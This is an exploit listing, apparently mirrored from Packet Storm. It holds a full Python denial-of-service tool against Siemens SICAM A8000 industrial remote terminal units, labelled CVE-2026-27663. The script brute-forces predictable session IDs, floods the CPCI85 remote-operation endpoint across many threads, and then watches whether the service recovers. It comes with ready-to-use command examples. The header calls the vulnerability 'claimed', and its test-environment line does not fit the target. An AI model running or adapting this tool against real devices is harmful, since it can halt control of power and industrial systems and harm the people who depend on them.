Share
## https://sploitus.com/exploit?id=PACKETSTORM:225172
==================================================================================================================================
| # Title : Siemens SICAM A8000 25.30 Remote Operation DoS |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits) |
| # Vendor : https://www.siemens.com/ |
==================================================================================================================================
[+] Summary : a network stress-testing / denial-of-service (DoS) tool written in Python, modeled around a claimed vulnerability (CVE-2026-27663) affecting Siemens SICAM A8000 devices.
[+] POC :
#!/usr/bin/env python3
import sys
import re
import time
import json
import random
import string
import argparse
import threading
import requests
import urllib3
from concurrent.futures import ThreadPoolExecutor, as_completed
from collections import defaultdict
urllib3.disable_warnings()
BANNER = """
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ
โ โโโโโโโ โโโโโโโโโโ โโโโโโโ โโโ โโโโโโโโโโโโโโ โโโโโโ โโโ โโโโโโ
โ โโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโ โโโโโโ โโโโโโโโโโโโ
โ โโโโโโโโโ โโโโโ โโโโโโ โโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโ
โ โโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโ
โ โโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโ โโโโโโ โโโ
โ โโโโโโ โโโโโโโโโโโโ โโโโโโโ โโโโโโโ โโโโโโโโโโโ โโโโโโ โโโโโโ โโโ
โ โ
โ CVE-2026-27663 - Siemens SICAM A8000 โ
โ Remote Operation Denial of Service โ
โ โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
[+] Medium Severity | Uncontrolled Resource Exhaustion
[+] Affected: SICAM A8000 CP-8050/8031/8010/8012 <= V25.31
[+] Service: CPCI85 Remote Operation Parameterization
"""
class Config:
REMOTE_OP_ENDPOINT = "/SICAM_TOOLBOX_1703_remote_connection_01.htm"
SESSION_ID_PREFIX = "008cfd320836"
SESSION_ID_LENGTH = 4 # 4 hex digits after prefix
DEFAULT_THREADS = 10
DEFAULT_REQUESTS = 100
REQUEST_TIMEOUT = 10
USER_AGENT = "SICAM TOOLBOX II"
HEX_CHARS = [str(x) for x in range(10)] + ['A', 'B', 'C', 'D', 'E', 'F']
LENGTH_VALUES = [f"{i:02d}" for i in range(100)] # 00-99
class SICAMClient:
"""Client for interacting with the SICAM A8000 device"""
def __init__(self, target: str, port: int, use_https: bool = False, verbose: bool = False):
self.target = target
self.port = port
self.protocol = "https" if use_https else "http"
self.base_url = f"{self.protocol}://{target}:{port}"
self.endpoint = Config.REMOTE_OP_ENDPOINT
self.full_url = self.base_url + self.endpoint
self.verbose = verbose
self.session = requests.Session()
self.session.verify = False
self.session.headers.update({
'User-Agent': Config.USER_AGENT,
'Content-Type': 'text/plain'
})
def _log(self, msg: str, level: str = "INFO"):
if level == "ERROR":
print(f"[-] {msg}")
elif level == "SUCCESS":
print(f"[+] {msg}")
elif level == "WARNING":
print(f"[!] {msg}")
else:
print(f"[*] {msg}")
def check_service(self) -> bool:
"""Check service availability"""
try:
response = self.session.get(self.base_url, timeout=Config.REQUEST_TIMEOUT)
return response.status_code == 200
except:
return False
def brute_force_session(self, max_attempts: int = 4096) -> str:
"""Find a valid Session ID using Brute Force"""
self._log("Starting session ID brute force...")
self._log(f"Prefix: {Config.SESSION_ID_PREFIX}")
total_combinations = len(Config.HEX_CHARS) ** Config.SESSION_ID_LENGTH
self._log(f"Total combinations: {total_combinations}")
found_session = None
attempts = 0
from itertools import product
for chars in product(Config.HEX_CHARS, repeat=Config.SESSION_ID_LENGTH):
if max_attempts and attempts >= max_attempts:
break
session_id = Config.SESSION_ID_PREFIX + ''.join(chars)
attempts += 1
if self.verbose and attempts % 500 == 0:
self._log(f"Attempt {attempts}/{total_combinations}: {session_id}")
if self._test_session(session_id):
found_session = session_id
self._log(f"Found valid session: {session_id}", "SUCCESS")
break
if not found_session:
self._log("No valid session found", "ERROR")
return found_session
def _test_session(self, session_id: str) -> bool:
"""Specific Session ID Test"""
try:
response = self.session.post(
self.full_url,
headers={'Session-ID': session_id, 'UPLOADFILENAME': 'abc.f20'},
data='type=20&length=1&data=A',
timeout=Config.REQUEST_TIMEOUT
)
return response.status_code == 200 and len(response.text) > 0
except:
return False
def send_attack_packet(self, session_id: str, length: str) -> bool:
"""Send a DoS attack packet"""
try:
response = self.session.post(
self.full_url,
headers={'Session-ID': session_id, 'UPLOADFILENAME': 'abc.f20'},
data=f'type=20&length={length}&data=A',
timeout=Config.REQUEST_TIMEOUT
)
return response.status_code == 200
except:
return False
class DoSAttacker:
"""Executing a DoS attack"""
def __init__(self, client: SICAMClient, threads: int = 10, verbose: bool = False):
self.client = client
self.threads = threads
self.verbose = verbose
self.running = False
self.successful_requests = 0
self.failed_requests = 0
self.lock = threading.Lock()
def _log(self, msg: str, level: str = "INFO"):
if self.verbose:
print(f"[{level}] {msg}")
def _attack_worker(self, session_id: str, length_values: list, worker_id: int):
"""individual attack factor"""
for length in length_values:
if not self.running:
break
if self.client.send_attack_packet(session_id, length):
with self.lock:
self.successful_requests += 1
if self.verbose:
print(f"\r[*] Worker {worker_id}: length={length} OK", end="")
else:
with self.lock:
self.failed_requests += 1
if self.verbose:
print(f"\r[!] Worker {worker_id}: length={length} FAILED", end="")
def attack(self, session_id: str, total_requests: int = 100):
"""Executing the attack"""
self.running = True
self.successful_requests = 0
self.failed_requests = 0
print(f"\n[*] Starting DoS attack with {self.threads} threads")
print(f"[*] Target: {self.client.full_url}")
print(f"[*] Session ID: {session_id}")
print(f"[*] Total requests: {total_requests}")
length_values = Config.LENGTH_VALUES[:total_requests]
chunk_size = max(1, len(length_values) // self.threads)
chunks = [length_values[i:i + chunk_size] for i in range(0, len(length_values), chunk_size)]
with ThreadPoolExecutor(max_workers=self.threads) as executor:
futures = []
for i, chunk in enumerate(chunks):
future = executor.submit(self._attack_worker, session_id, chunk, i)
futures.append(future)
for future in as_completed(futures):
try:
future.result()
except Exception as e:
self._log(f"Worker error: {e}", "ERROR")
print(f"\n\n[*] Attack completed!")
print(f"[*] Successful requests: {self.successful_requests}")
print(f"[*] Failed requests: {self.failed_requests}")
if self.successful_requests > 0:
print("\n[+] DoS attack likely successful!")
print("[+] CPCI85 service should be stalled.")
print("[+] Remote operation parameterization is no longer possible.")
else:
print("\n[-] Attack may have failed. Target might be patched.")
class AdvancedDoSAttacker:
"""Advanced DoS attack using multiple sessions"""
def __init__(self, client: SICAMClient, threads: int = 20, verbose: bool = False):
self.client = client
self.threads = threads
self.verbose = verbose
self.sessions = []
def find_multiple_sessions(self, max_sessions: int = 5) -> list:
"""Search for valid multiple sessions"""
found_sessions = []
print(f"[*] Searching for up to {max_sessions} valid sessions...")
from itertools import product
for chars in product(Config.HEX_CHARS, repeat=Config.SESSION_ID_LENGTH):
if len(found_sessions) >= max_sessions:
break
session_id = Config.SESSION_ID_PREFIX + ''.join(chars)
if self.client._test_session(session_id):
found_sessions.append(session_id)
print(f"[+] Found session #{len(found_sessions)}: {session_id}")
self.sessions = found_sessions
return found_sessions
def multi_session_attack(self, requests_per_session: int = 100):
"""Multi-session attack"""
if not self.sessions:
print("[-] No sessions found. Run find_multiple_sessions() first.")
return
print(f"\n[*] Starting multi-session DoS attack")
print(f"[*] Sessions: {len(self.sessions)}")
print(f"[*] Requests per session: {requests_per_session}")
all_lengths = Config.LENGTH_VALUES[:requests_per_session]
def attack_session(session_id):
for length in all_lengths:
self.client.send_attack_packet(session_id, length)
return session_id
with ThreadPoolExecutor(max_workers=len(self.sessions)) as executor:
futures = [executor.submit(attack_session, s) for s in self.sessions]
for future in as_completed(futures):
session = future.result()
print(f"[*] Completed attack on session: {session}")
print("\n[+] Multi-session DoS attack completed!")
print("[+] CPCI85 service should be severely degraded.")
class ServiceMonitor:
"""Service monitoring and restoration"""
def __init__(self, client: SICAMClient):
self.client = client
def check_service_status(self) -> dict:
"""Service status check"""
status = {
'accessible': False,
'response_time': None,
'error': None
}
try:
start = time.time()
response = self.client.session.get(
self.client.base_url,
timeout=Config.REQUEST_TIMEOUT
)
end = time.time()
status['accessible'] = response.status_code == 200
status['response_time'] = round((end - start) * 1000, 2)
except requests.exceptions.Timeout:
status['error'] = "Timeout"
except requests.exceptions.ConnectionError:
status['error'] = "Connection refused"
except Exception as e:
status['error'] = str(e)
return status
def wait_for_recovery(self, timeout: int = 300, check_interval: int = 10):
"""Waiting for service to be restored"""
print(f"[*] Waiting up to {timeout} seconds for service recovery...")
start_time = time.time()
recovered = False
while time.time() - start_time < timeout:
status = self.check_service_status()
if status['accessible']:
print(f"[+] Service recovered! (Response time: {status['response_time']}ms)")
recovered = True
break
else:
print(f"[!] Service still down... ({(time.time() - start_time):.0f}s elapsed)")
time.sleep(check_interval)
if not recovered:
print("[-] Service did not recover within timeout.")
print("[-] Manual intervention required: restart via web interface or power cycle.")
return recovered
def suggest_recovery(self):
"""Suggested recovery methods"""
print("\n[!] Recovery options:")
print(" 1. Access web interface and restart CPCI85 service")
print(" 2. Power cycle the device (reboot)")
print(" 3. Disable and re-enable remote operation")
print(" 4. Apply vendor patch (V26.10 or later)")
def main():
print(BANNER)
parser = argparse.ArgumentParser(
description="CVE-2026-27663 - Siemens SICAM A8000 Remote Operation DoS",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
python3 exploit.py -t 192.168.1.100 -p 80
python3 exploit.py -t 192.168.1.100 --https
python3 exploit.py -t 192.168.1.100 -p 443 --https --threads 20 --requests 500
python3 exploit.py -t 192.168.1.100 -p 80 --bruteforce-only
python3 exploit.py -t 192.168.1.100 -p 443 --https --multi-session --max-sessions 5
python3 exploit.py -t 192.168.1.100 --check
"""
)
parser.add_argument("-t", "--target", required=True, help="Target IP address")
parser.add_argument("-p", "--port", type=int, default=443, help="Target port (default: 443)")
parser.add_argument("--https", action="store_true", default=True, help="Use HTTPS (default: True)")
parser.add_argument("--http", action="store_true", help="Use HTTP instead of HTTPS")
parser.add_argument("--threads", type=int, default=Config.DEFAULT_THREADS, help="Number of threads (default: 10)")
parser.add_argument("--requests", type=int, default=Config.DEFAULT_REQUESTS, help="Number of requests (default: 100)")
parser.add_argument("--bruteforce-only", action="store_true", help="Only brute force session ID")
parser.add_argument("--multi-session", action="store_true", help="Use multiple sessions for attack")
parser.add_argument("--max-sessions", type=int, default=5, help="Max sessions for multi-session attack")
parser.add_argument("--check", action="store_true", help="Check service status")
parser.add_argument("--verbose", "-v", action="store_true", help="Verbose output")
parser.add_argument("--recovery", action="store_true", help="Wait for service recovery after attack")
parser.add_argument("--recovery-timeout", type=int, default=300, help="Recovery timeout in seconds (default: 300)")
args = parser.parse_args()
use_https = args.https and not args.http
client = SICAMClient(args.target, args.port, use_https, args.verbose)
if args.check:
print("[*] Checking service status...")
status = ServiceMonitor(client).check_service_status()
if status['accessible']:
print(f"[+] Service is accessible (Response: {status['response_time']}ms)")
else:
print(f"[-] Service is not accessible: {status['error']}")
return
if not client.check_service():
print("[-] Cannot reach target. Check IP, port, and protocol.")
return
print(f"[*] Target: {client.full_url}")
print(f"[*] Service is accessible")
if args.bruteforce_only:
session_id = client.brute_force_session()
if session_id:
print(f"\n[+] Valid session ID: {session_id}")
return
session_id = client.brute_force_session(max_attempts=4096)
if not session_id:
print("[-] No valid session found. Target may not be vulnerable.")
return
if args.multi_session:
attacker = AdvancedDoSAttacker(client, args.threads, args.verbose)
attacker.find_multiple_sessions(args.max_sessions)
attacker.multi_session_attack(args.requests)
else:
attacker = DoSAttacker(client, args.threads, args.verbose)
attacker.attack(session_id, args.requests)
if args.recovery:
monitor = ServiceMonitor(client)
time.sleep(2)
monitor.wait_for_recovery(args.recovery_timeout)
monitor.suggest_recovery()
print("\n[*] Exploit completed.")
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
print("\n[!] Interrupted by user")
sys.exit(130)
except Exception as e:
print(f"[-] Error: {e}")
sys.exit(1)
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================